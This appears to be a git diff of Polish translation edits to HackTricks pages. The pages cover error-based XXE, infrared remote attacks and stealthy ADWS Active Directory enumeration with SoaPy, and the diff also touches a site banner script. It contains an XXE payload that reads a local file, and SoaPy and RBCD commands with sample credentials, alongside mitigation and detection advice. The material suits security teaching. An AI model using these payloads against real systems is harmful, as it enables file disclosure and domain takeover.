- Odczytywała docelowy plik (`<!ENTITY % flag SYSTEM "file:///tmp/flag.txt">`).
|
||||
- Budowała inną encję parametru, która odnosi się do **nieprawidłowej ścieżki** zawierającej wartość `%flag;` i wywołuje błąd parsera (`<!ENTITY % eval "<!ENTITY % error SYSTEM 'file:///aaa/%flag;'>">`).
|
||||
@ -728,7 +728,7 @@ Error : failed to load external entity "file:///aaa/FLAG{secret}"
|
||||
```
|
||||
#### Kluczowe wnioski
|
||||
* **Encje parametrów** są nadal rozwijane przez libxml2, nawet gdy `resolve_entities` powinno blokować XXE.
|
||||
* **Nieprawidłowy URI** lub **nieistniejący plik** wystarczą, aby połączyć kontrolowane dane w zgłoszonym wyjątku.
|
||||
* **Nieprawidłowy URI** lub **nieistniejący plik** wystarczy, aby połączyć kontrolowane dane z wyrzucanym wyjątkiem.
|
||||
* Technika działa **bez łączności wychodzącej**, co czyni ją idealną dla ściśle filtrowanych środowisk.
|
||||
|
||||
#### Wskazówki dotyczące łagodzenia
|
||||
@ -763,9 +763,9 @@ dbf.setExpandEntityReferences(false);
|
||||
|
||||
DocumentBuilder builder = dbf.newDocumentBuilder();
|
||||
```
|
||||
Jeśli aplikacja musi wspierać DTD wewnętrznie, pozostaw `disallow-doctype-decl` wyłączony, ale **zawsze** ustawiaj dwa `external-*-entities` na `false`. Ta kombinacja zapobiega klasycznym atakom ujawniającym pliki (`file:///etc/passwd`) oraz wektorom SSRF opartym na sieci (`http://169.254.169.254/…`, protokół `jar:`, itp.).
|
||||
Jeśli aplikacja musi wewnętrznie obsługiwać DTD, pozostaw `disallow-doctype-decl` wyłączony, ale **zawsze** ustawiaj dwa `external-*-entities` na `false`. Ta kombinacja zapobiega klasycznym atakom ujawniającym pliki (`file:///etc/passwd`) oraz wektorom SSRF opartym na sieci (`http://169.254.169.254/…`, protokół `jar:`, itp.).
|
||||
|
||||
Studium przypadku z rzeczywistego świata: **CVE-2025-27136** w emulatorze Java S3 *LocalS3* używał podatnego konstruktora pokazane powyżej. Nieautoryzowany atakujący mógł dostarczyć spreparowane ciało XML do punktu końcowego `CreateBucketConfiguration` i sprawić, że serwer osadzi lokalne pliki (na przykład `/etc/passwd`) w odpowiedzi HTTP.
|
||||
Studium przypadku z rzeczywistego świata: **CVE-2025-27136** w emulatorze Java S3 *LocalS3* wykorzystał podatny konstruktor pokazany powyżej. Nieautoryzowany atakujący mógł dostarczyć spreparowane ciało XML do punktu końcowego `CreateBucketConfiguration` i sprawić, że serwer osadzi lokalne pliki (na przykład `/etc/passwd`) w odpowiedzi HTTP.
|
||||
|
||||
## References
|
||||
|
||||
@ -773,7 +773,7 @@ Studium przypadku z rzeczywistego świata: **CVE-2025-27136** w emulatorze Java
|
||||
|
||||
- [https://media.blackhat.com/eu-13/briefings/Osipov/bh-eu-13-XML-data-osipov-slides.pdf](https://media.blackhat.com/eu-13/briefings/Osipov/bh-eu-13-XML-data-osipov-slides.pdf)
|
||||
- [https://web-in-security.blogspot.com/2016/03/xxe-cheat-sheet.html](https://web-in-security.blogspot.com/2016/03/xxe-cheat-sheet.html)
|
||||
- Wyciągnij informacje przez HTTP używając własnego zewnętrznego DTD: [https://ysx.me.uk/from-rss-to-xxe-feed-parsing-on-hootsuite/](https://ysx.me.uk/from-rss-to-xxe-feed-parsing-on-hootsuite/)
|
||||
- Extract info via HTTP using own external DTD: [https://ysx.me.uk/from-rss-to-xxe-feed-parsing-on-hootsuite/](https://ysx.me.uk/from-rss-to-xxe-feed-parsing-on-hootsuite/)
|
||||
- [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XXE%20injection](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XXE%20injection)
|
||||
- [https://gist.github.com/staaldraad/01415b990939494879b4](https://gist.github.com/staaldraad/01415b990939494879b4)
|
||||
- [https://medium.com/@onehackman/exploiting-xml-external-entity-xxe-injections-b0e3eac388f9](https://medium.com/@onehackman/exploiting-xml-external-entity-xxe-injections-b0e3eac388f9)
|
||||
|
@ -26,13 +26,13 @@ Bity są kodowane przez modulację czasu trwania przestrzeni między impulsami.
|
||||
|
||||
**2. Kodowanie szerokości impulsów**
|
||||
|
||||
Bity są kodowane przez modulację szerokości impulsu. Szerokość przestrzeni po serii impulsów jest stała.
|
||||
Bity są kodowane przez modulację szerokości impulsu. Szerokość przestrzeni po wybuchu impulsu jest stała.
|
||||
|
||||
<figure><img src="../../images/image (282).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
**3. Kodowanie fazy**
|
||||
**3. Kodowanie fazowe**
|
||||
|
||||
Znane również jako kodowanie Manchester. Wartość logiczna jest definiowana przez polaryzację przejścia między serią impulsów a przestrzenią. "Przestrzeń do serii impulsów" oznacza logikę "0", "seria impulsów do przestrzeni" oznacza logikę "1".
|
||||
Znane również jako kodowanie Manchester. Wartość logiczna jest definiowana przez polaryzację przejścia między wybuchem impulsu a przestrzenią. "Przestrzeń do wybuchu impulsu" oznacza logikę "0", "wybuch impulsu do przestrzeni" oznacza logikę "1".
|
||||
|
||||
<figure><img src="../../images/image (634).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
@ -41,7 +41,7 @@ Znane również jako kodowanie Manchester. Wartość logiczna jest definiowana p
|
||||
> [!TIP]
|
||||
> Istnieją protokoły IR, które **próbują stać się uniwersalne** dla kilku typów urządzeń. Najbardziej znane to RC5 i NEC. Niestety, najbardziej znane **nie oznacza najbardziej powszechne**. W moim otoczeniu spotkałem tylko dwa piloty NEC i żadnego RC5.
|
||||
>
|
||||
> Producenci uwielbiają używać swoich unikalnych protokołów IR, nawet w obrębie tej samej grupy urządzeń (na przykład, dekodery TV). Dlatego piloty z różnych firm, a czasem z różnych modeli tej samej firmy, nie są w stanie współpracować z innymi urządzeniami tego samego typu.
|
||||
> Producenci uwielbiają używać swoich unikalnych protokołów IR, nawet w obrębie tej samej grupy urządzeń (na przykład, dekodery TV). Dlatego piloty z różnych firm, a czasami z różnych modeli tej samej firmy, nie są w stanie współpracować z innymi urządzeniami tego samego typu.
|
||||
|
||||
### Badanie sygnału IR
|
||||
|
||||
@ -55,11 +55,11 @@ Następnie przesyłane są dane. Struktura, preambuła i metoda kodowania bitów
|
||||
|
||||
**Protokół IR NEC** zawiera krótki kod komendy i kod powtórzenia, który jest wysyłany podczas przytrzymywania przycisku. Zarówno kod komendy, jak i kod powtórzenia mają tę samą preambułę na początku.
|
||||
|
||||
**Kod komendy NEC**, oprócz preambuły, składa się z bajtu adresu i bajtu numeru komendy, dzięki którym urządzenie rozumie, co ma być wykonane. Bajty adresu i numeru komendy są powielane z odwrotnymi wartościami, aby sprawdzić integralność transmisji. Na końcu komendy znajduje się dodatkowy bit stopu.
|
||||
**Kod komendy NEC**, oprócz preambuły, składa się z bajtu adresu i bajtu numeru komendy, dzięki którym urządzenie rozumie, co należy wykonać. Bajty adresu i numeru komendy są powielane z odwrotnymi wartościami, aby sprawdzić integralność transmisji. Na końcu komendy znajduje się dodatkowy bit stopu.
|
||||
|
||||
**Kod powtórzenia** ma "1" po preambule, co jest bitem stopu.
|
||||
|
||||
Dla **logiki "0" i "1"** NEC używa kodowania odległości impulsów: najpierw przesyłany jest impuls, po którym następuje pauza, której długość ustala wartość bitu.
|
||||
Dla **logiki "0" i "1"** NEC używa kodowania odległości impulsów: najpierw przesyłany jest wybuch impulsu, po którym następuje pauza, której długość ustala wartość bitu.
|
||||
|
||||
### Klimatyzatory
|
||||
|
||||
@ -78,7 +78,7 @@ flipper-zero/fz-infrared.md
|
||||
|
||||
### Przejęcie Smart-TV / Dekodera (EvilScreen)
|
||||
|
||||
Najnowsze prace akademickie (EvilScreen, 2022) wykazały, że **piloty wielokanałowe, które łączą podczerwień z Bluetooth lub Wi-Fi, mogą być nadużywane do pełnego przejęcia nowoczesnych smart-TV**. Atak łączy kody usług IR o wysokich uprawnieniach z uwierzytelnionymi pakietami Bluetooth, omijając izolację kanałów i umożliwiając uruchamianie dowolnych aplikacji, aktywację mikrofonu lub reset fabryczny bez dostępu fizycznego. Osiem popularnych telewizorów od różnych dostawców — w tym model Samsunga, który twierdzi, że spełnia normy ISO/IEC 27001 — zostało potwierdzonych jako podatne. Łagodzenie wymaga poprawek oprogramowania od dostawcy lub całkowitego wyłączenia nieużywanych odbiorników IR.
|
||||
Najnowsze prace akademickie (EvilScreen, 2022) wykazały, że **piloty wielokanałowe, które łączą podczerwień z Bluetooth lub Wi-Fi, mogą być nadużywane do pełnego przejęcia nowoczesnych smart-TV**. Atak łączy kody usług IR o wysokich uprawnieniach z uwierzytelnionymi pakietami Bluetooth, omijając izolację kanałów i umożliwiając uruchamianie dowolnych aplikacji, aktywację mikrofonu lub reset fabryczny bez dostępu fizycznego. Osiem popularnych telewizorów od różnych dostawców — w tym model Samsunga, który twierdzi, że spełnia normy ISO/IEC 27001 — zostało potwierdzonych jako podatne. Łagodzenie wymaga poprawek oprogramowania od producenta lub całkowitego wyłączenia nieużywanych odbiorników IR.
|
||||
|
||||
### Ekstrakcja danych z powietrza za pomocą diod IR (rodzina aIR-Jumper)
|
||||
|
||||
@ -86,7 +86,7 @@ Kamery bezpieczeństwa, routery czy nawet złośliwe pendrive'y często zawieraj
|
||||
|
||||
* Fizycznie osłonić lub usunąć diody IR w wrażliwych obszarach
|
||||
* Monitorować cykl pracy diod LED kamery i integralność oprogramowania
|
||||
* Zainstalować filtry IR-cuts na oknach i kamerach monitorujących
|
||||
* Zainstalować filtry IR-cut na oknach i kamerach monitorujących
|
||||
|
||||
Atakujący może również użyć silnych projektorów IR do **infiltrowania** poleceń do sieci, błyskając dane z powrotem do niebezpiecznych kamer.
|
||||
|
||||
@ -100,7 +100,7 @@ Oprogramowanie 1.0 (wrzesień 2024) dodało **dziesiątki dodatkowych protokoł
|
||||
|
||||
### Sprzęt
|
||||
|
||||
* **Flipper Zero** – przenośny transceiver z trybami nauki, powtórki i brute-force słownikowego (patrz powyżej).
|
||||
* **Flipper Zero** – przenośny transceiver z trybami nauki, powtórzenia i brute-force słownikowego (patrz powyżej).
|
||||
* **Arduino / ESP32** + dioda IR / odbiornik TSOP38xx – tani analizator/nadajnik DIY. Połącz z biblioteką `Arduino-IRremote` (v4.x obsługuje >40 protokołów).
|
||||
* **Analizatory logiczne** (Saleae/FX2) – rejestrują surowe czasy, gdy protokół jest nieznany.
|
||||
* **Smartfony z IR-blasterem** (np. Xiaomi) – szybki test w terenie, ale ograniczony zasięg.
|
||||
@ -128,7 +128,7 @@ irsend SEND_ONCE samsung KEY_POWER
|
||||
|
||||
## Środki obronne <a href="#defense" id="defense"></a>
|
||||
|
||||
* Wyłącz lub zakryj odbiorniki IR w urządzeniach używanych w miejscach publicznych, gdy nie są wymagane.
|
||||
* Wyłącz lub zakryj odbiorniki IR w urządzeniach używanych w przestrzeniach publicznych, gdy nie są wymagane.
|
||||
* Wymuszaj *parowanie* lub kontrole kryptograficzne między smart-TV a pilotami; izoluj uprzywilejowane kody "usługowe".
|
||||
* Zainstaluj filtry IR-cut lub detektory fal ciągłych wokół obszarów klasyfikowanych, aby przerwać optyczne kanały ukryte.
|
||||
* Monitoruj integralność oprogramowania kamer/urządzeń IoT, które eksponują kontrolowane diody IR.
|
||||
|
@ -8,13 +8,13 @@ Active Directory Web Services (ADWS) jest **włączone domyślnie na każdym kon
|
||||
|
||||
* MC-NBFX → MC-NBFSE → MS-NNS → MC-NMF
|
||||
|
||||
Ponieważ ruch jest enkapsulowany w tych binarnych ramach SOAP i podróżuje przez nietypowy port, **enumeracja przez ADWS jest znacznie mniej prawdopodobna do inspekcji, filtrowania lub podpisywania niż klasyczny ruch LDAP/389 i 636**. Dla operatorów oznacza to:
|
||||
Ponieważ ruch jest enkapsulowany w tych binarnych ramach SOAP i podróżuje przez rzadko używany port, **enumeracja przez ADWS jest znacznie mniej prawdopodobna do inspekcji, filtrowania lub podpisywania niż klasyczny ruch LDAP/389 i 636**. Dla operatorów oznacza to:
|
||||
|
||||
* Cichsza rekonesans – zespoły niebieskie często koncentrują się na zapytaniach LDAP.
|
||||
* Cichsze rozpoznanie – zespoły niebieskie często koncentrują się na zapytaniach LDAP.
|
||||
* Wolność zbierania danych z **nie-Windowsowych hostów (Linux, macOS)** przez tunelowanie 9389/TCP przez proxy SOCKS.
|
||||
* Te same dane, które uzyskałbyś przez LDAP (użytkownicy, grupy, ACL, schemat itp.) oraz możliwość wykonywania **zapisów** (np. `msDs-AllowedToActOnBehalfOfOtherIdentity` dla **RBCD**).
|
||||
* Te same dane, które można uzyskać przez LDAP (użytkownicy, grupy, ACL, schemat itp.) oraz możliwość wykonywania **zapisów** (np. `msDs-AllowedToActOnBehalfOfOtherIdentity` dla **RBCD**).
|
||||
|
||||
> UWAGA: ADWS jest również używane przez wiele narzędzi GUI/PowerShell RSAT, więc ruch może się mieszać z legalną aktywnością administracyjną.
|
||||
> UWAGA: ADWS jest również używane przez wiele narzędzi GUI/PowerShell RSAT, więc ruch może się mieszać z legalną aktywnością administratora.
|
||||
|
||||
## SoaPy – Nattywny klient Python
|
||||
|
||||
@ -24,8 +24,8 @@ Ponieważ ruch jest enkapsulowany w tych binarnych ramach SOAP i podróżuje prz
|
||||
|
||||
* Obsługuje **proxy przez SOCKS** (przydatne z implantami C2).
|
||||
* Szczegółowe filtry wyszukiwania identyczne do LDAP `-q '(objectClass=user)'`.
|
||||
* Opcjonalne operacje **zapisów** ( `--set` / `--delete` ).
|
||||
* **Tryb wyjścia BOFHound** do bezpośredniego wchłaniania do BloodHound.
|
||||
* Opcjonalne operacje **zapisów** (`--set` / `--delete`).
|
||||
* **Tryb wyjścia BOFHound** do bezpośredniego wczytywania do BloodHound.
|
||||
* Flaga `--parse` do upiększania znaczników czasowych / `userAccountControl`, gdy wymagana jest czytelność dla ludzi.
|
||||
|
||||
### Instalacja (host operatora)
|
||||
@ -36,9 +36,9 @@ python3 -m pip install soapy-adws # or git clone && pip install -r requirement
|
||||
|
||||
Poniższy workflow pokazuje, jak enumerować **obiekty domeny i ADCS** przez ADWS, konwertować je na JSON BloodHound i szukać ścieżek ataku opartych na certyfikatach – wszystko z systemu Linux:
|
||||
|
||||
1. **Tunel 9389/TCP** z sieci docelowej do twojego komputera (np. za pomocą Chisel, Meterpreter, SSH dynamic port-forward itp.). Eksportuj `export HTTPS_PROXY=socks5://127.0.0.1:1080` lub użyj `--proxyHost/--proxyPort` SoaPy.
|
||||
1. **Tuneluj 9389/TCP** z sieci docelowej do swojego komputera (np. za pomocą Chisel, Meterpreter, SSH dynamic port-forward itp.). Eksportuj `export HTTPS_PROXY=socks5://127.0.0.1:1080` lub użyj `--proxyHost/--proxyPort` SoaPy.
|
||||
|
||||
2. **Zbierz obiekt domeny głównej:**
|
||||
2. **Zbierz obiekt głównej domeny:**
|
||||
```bash
|
||||
soapy ludus.domain/jdoe:'P@ssw0rd'@10.2.10.10 \
|
||||
-q '(objectClass=domain)' \
|
||||
@ -56,7 +56,7 @@ soapy ludus.domain/jdoe:'P@ssw0rd'@10.2.10.10 \
|
||||
```bash
|
||||
bofhound -i data --zip # produces BloodHound.zip
|
||||
```
|
||||
5. **Prześlij ZIP** w interfejsie BloodHound i uruchom zapytania cypher, takie jak `MATCH (u:User)-[:Can_Enroll*1..]->(c:CertTemplate) RETURN u,c`, aby ujawnić ścieżki eskalacji certyfikatów (ESC1, ESC8 itp.).
|
||||
5. **Prześlij ZIP** w interfejsie BloodHound i uruchom zapytania cypher, takie jak `MATCH (u:User)-[:Can_Enroll*1..]->(c:CertTemplate) RETURN u,c`, aby ujawnić ścieżki eskalacji certyfikatów (ESC1, ESC8 itd.).
|
||||
|
||||
### Pisanie `msDs-AllowedToActOnBehalfOfOtherIdentity` (RBCD)
|
||||
```bash
|
||||
@ -66,7 +66,7 @@ msDs-AllowedToActOnBehalfOfOtherIdentity 'B:32:01....'
|
||||
```
|
||||
Połącz to z `s4u2proxy`/`Rubeus /getticket` dla pełnego **Resource-Based Constrained Delegation** łańcucha.
|
||||
|
||||
## Wykrywanie i Wzmocnienie
|
||||
## Wykrywanie i Wzmacnianie
|
||||
|
||||
### Szczegółowe logowanie ADDS
|
||||
|
||||
@ -93,14 +93,14 @@ Przykład wstępnie zbudowanej reguły Elastic:
|
||||
| Cel | Narzędzie | Uwagi |
|
||||
|-----|-----------|-------|
|
||||
| Enumeracja ADWS | [SoaPy](https://github.com/logangoins/soapy) | Python, SOCKS, odczyt/zapis |
|
||||
| Import BloodHound | [BOFHound](https://github.com/bohops/BOFHound) | Konwertuje logi SoaPy/ldapsearch |
|
||||
| Wczytywanie BloodHound | [BOFHound](https://github.com/bohops/BOFHound) | Konwertuje logi SoaPy/ldapsearch |
|
||||
| Kompromitacja certyfikatu | [Certipy](https://github.com/ly4k/Certipy) | Może być proxy przez ten sam SOCKS |
|
||||
|
||||
## Odniesienia
|
||||
|
||||
* [SpecterOps – Upewnij się, że używasz SOAP(y) – Przewodnik operatora po dyskretnym zbieraniu AD za pomocą ADWS](https://specterops.io/blog/2025/07/25/make-sure-to-use-soapy-an-operators-guide-to-stealthy-ad-collection-using-adws/)
|
||||
* [SpecterOps – Make Sure to Use SOAP(y) – An Operators Guide to Stealthy AD Collection Using ADWS](https://specterops.io/blog/2025/07/25/make-sure-to-use-soapy-an-operators-guide-to-stealthy-ad-collection-using-adws/)
|
||||
* [SoaPy GitHub](https://github.com/logangoins/soapy)
|
||||
* [BOFHound GitHub](https://github.com/bohops/BOFHound)
|
||||
* [Microsoft – specyfikacje MC-NBFX, MC-NBFSE, MS-NNS, MC-NMF](https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-nbfx/)
|
||||
* [Microsoft – MC-NBFX, MC-NBFSE, MS-NNS, MC-NMF specifications](https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-nbfx/)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
@ -62,7 +62,7 @@ Kolektorzy generują JSON, który jest wczytywany za pomocą interfejsu BloodHou
|
||||
|
||||
## Group3r
|
||||
|
||||
[Group3r](https://github.com/Group3r/Group3r) enumeruje **Group Policy Objects** i podkreśla błędne konfiguracje.
|
||||
[Group3r](https://github.com/Group3r/Group3r) enumeruje **Obiekty Zasad Grupy** i podkreśla błędne konfiguracje.
|
||||
```bash
|
||||
# Execute inside the domain
|
||||
Group3r.exe -f gpo.log # -s to stdout
|
||||
|
24
theme/ai.js
24
theme/ai.js
@ -1,6 +1,6 @@
|
||||
/**
|
||||
* HackTricks Training Discounts
|
||||
*/
|
||||
|
||||
|
||||
|
||||
(() => {
|
||||
@ -9,13 +9,13 @@
|
||||
const TXT = 'Click here for HT Summer Discounts, Last Days!';
|
||||
const URL = 'https://training.hacktricks.xyz';
|
||||
|
||||
/* Stop if user already dismissed */
|
||||
// Stop if user already dismissed
|
||||
if (localStorage.getItem(KEY) === 'true') return;
|
||||
|
||||
/* Quick helper */
|
||||
// Quick helper
|
||||
const $ = (tag, css = '') => Object.assign(document.createElement(tag), { style: css });
|
||||
|
||||
/* --- Overlay (blur + dim) --- */
|
||||
// --- Overlay (blur + dim) ---
|
||||
const overlay = $('div', `
|
||||
position: fixed; inset: 0;
|
||||
background: rgba(0,0,0,.4);
|
||||
@ -24,7 +24,7 @@
|
||||
z-index: 10000;
|
||||
`);
|
||||
|
||||
/* --- Modal --- */
|
||||
// --- Modal ---
|
||||
const modal = $('div', `
|
||||
max-width: 90vw; width: 480px;
|
||||
background: #fff; border-radius: 12px; overflow: hidden;
|
||||
@ -33,10 +33,10 @@
|
||||
display: flex; flex-direction: column; align-items: stretch;
|
||||
`);
|
||||
|
||||
/* --- Title bar (link + close) --- */
|
||||
// --- Title bar (link + close) ---
|
||||
const titleBar = $('div', `
|
||||
position: relative;
|
||||
padding: 1rem 2.5rem 1rem 1rem; /* room for the close button */
|
||||
padding: 1rem 2.5rem 1rem 1rem; // room for the close button
|
||||
text-align: center;
|
||||
background: #222; color: #fff;
|
||||
font-size: 1.3rem; font-weight: 700;
|
||||
@ -53,7 +53,7 @@
|
||||
link.textContent = TXT;
|
||||
titleBar.appendChild(link);
|
||||
|
||||
/* Close "X" (no persistence) */
|
||||
// Close "X" (no persistence)
|
||||
const closeBtn = $('button', `
|
||||
position: absolute; top: .25rem; right: .5rem;
|
||||
background: transparent; border: none;
|
||||
@ -65,11 +65,11 @@
|
||||
closeBtn.onclick = () => overlay.remove();
|
||||
titleBar.appendChild(closeBtn);
|
||||
|
||||
/* --- Image --- */
|
||||
// --- Image ---
|
||||
const img = $('img');
|
||||
img.src = IMG; img.alt = TXT; img.style.width = '100%';
|
||||
|
||||
/* --- Checkbox row --- */
|
||||
// --- Checkbox row ---
|
||||
const label = $('label', `
|
||||
display: flex; align-items: center; justify-content: center; gap: .6rem;
|
||||
padding: 1rem; font-size: 1rem; color: #222; cursor: pointer;
|
||||
@ -83,7 +83,7 @@
|
||||
};
|
||||
label.append(cb, document.createTextNode("Don't show again"));
|
||||
|
||||
/* --- Assemble & inject --- */
|
||||
// --- Assemble & inject ---
|
||||
modal.append(titleBar, img, label);
|
||||
overlay.appendChild(modal);
|
||||
|
||||
@ -93,7 +93,7 @@
|
||||
document.body.appendChild(overlay);
|
||||
}
|
||||
})();
|
||||
|
||||
*/
|
||||
|
||||
|
||||
/**
|
||||
|
Loading…
x
Reference in New Issue
Block a user